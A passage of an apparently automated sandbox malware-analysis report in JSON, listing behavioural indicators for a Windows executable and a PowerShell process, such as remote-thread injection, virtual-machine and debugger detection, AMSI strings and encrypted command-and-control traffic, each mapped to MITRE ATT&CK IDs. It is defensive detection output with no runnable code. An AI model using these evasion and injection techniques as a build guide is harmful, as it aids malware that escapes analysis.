string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister service from Service Control Manager","description":"file/memory contains long string(File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-690","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00001336)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00001336)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00001336)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1563182170113', 'hResInfo': '1563182171360'}\" (UID: 00000000-00001336)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1563182170113', 'hResInfo': '1563182171392'}\" (UID: 00000000-00001336)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1563182170113', 'hResInfo': '1563182171408'}\" (UID: 00000000-00001336)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1563182170113', 'hResInfo': '1563182171376'}\" (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"file/memory contains long string with (Indicator: \"NtCreateThread\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"github.com/go-ole/go-ole/internal/ntapi.CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to detect presence of virtual environment (API string)","description":"file/memory contains long string with (Indicator: \"SetupDiEnumDeviceInfo\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"SetupDiGetClassDevs\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"SetupDiGetDeviceRegistryProperty\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-253","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"function ConvertFrom-SddlString\" (Indicator: \"ConvertFrom-SddlString\"; Source: \"00000000-00001336.00000000.107993.F594E000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"file/memory contains long string with (Indicator: \"ControlService\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"ChangeServiceConfig\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"ChangeServiceConfigW\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"syscall.SetFileTime\" (Indicator: \"SetFileTime\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"amsi.dllH\" (Indicator: \"amsi.dll\") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\n Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00001336.00000000.107993.F5220000.00000004.mdmp\n 00000000-00001336.00000001.108809.F5220000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003628.00000001.108720.2D700000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2e","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to block user input (API string)","description":"Found reference to API \"BlockInput\" (Indicator: \"BlockInput\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-547","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"GetTickCount\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"NtQueryInformationProcess\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"internal/syscall/windows.QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"file/memory contains long string with (Indicator: \"CryptProtectData\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"CryptUnprotectData\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$30","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"file/memory contains long string with (Indicator: \"CryptUnprotectData\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"github.com/go-ole/go-ole/internal/payload.DecryptFileInPlace\" (Indicator: \"DecryptFile\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"file/memory contains long string with (Indicator: \"CryptProtectData\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00001336.00000000.107993.B47D0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00001336.00000001.108809.B4850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains possible references to Golang crypto modules","description":"$32","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.19535","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$33","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$34","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$35","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001336-00000C2C-677642023\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001336-00000C2C-678109824\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system firmware table (API string)","description":"file/memory contains long string(Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1592.003","relevance":1,"id":"string-902","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001336-00000C2C-677642023\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001336-00000C2C-678109824\")\n Found string \"EnumSystemFirmwareTablesEnumSystemGeoNames\" (Indicator: \"EnumSystemFirmwareTables\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found string \"EnumSystemFirmwareTables\" (Indicator: \"EnumSystemFirmwareTables\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")\n Found string \"GetSystemFirmwareTable\" (Indicator: \"GetSystemFirmwareTable\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"file/memory contains long string with (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"file/memory contains long string with (Indicator: \"WTSFreeMemory\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"WTSEnumerateSessions\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain instances of WMI classes using PowerShell","description":"file/memory contains long string(File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-696","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found string \"QueryServiceStatus\" (Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found string \"QueryServiceConfigW\" (Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information set for devices (API string)","description":"file/memory contains long string with (Indicator: \"setupdienumdeviceinfo\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"setupdigetclassdevs\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"setupdigetdeviceregistryproperty\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-533","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003628)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003628)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration 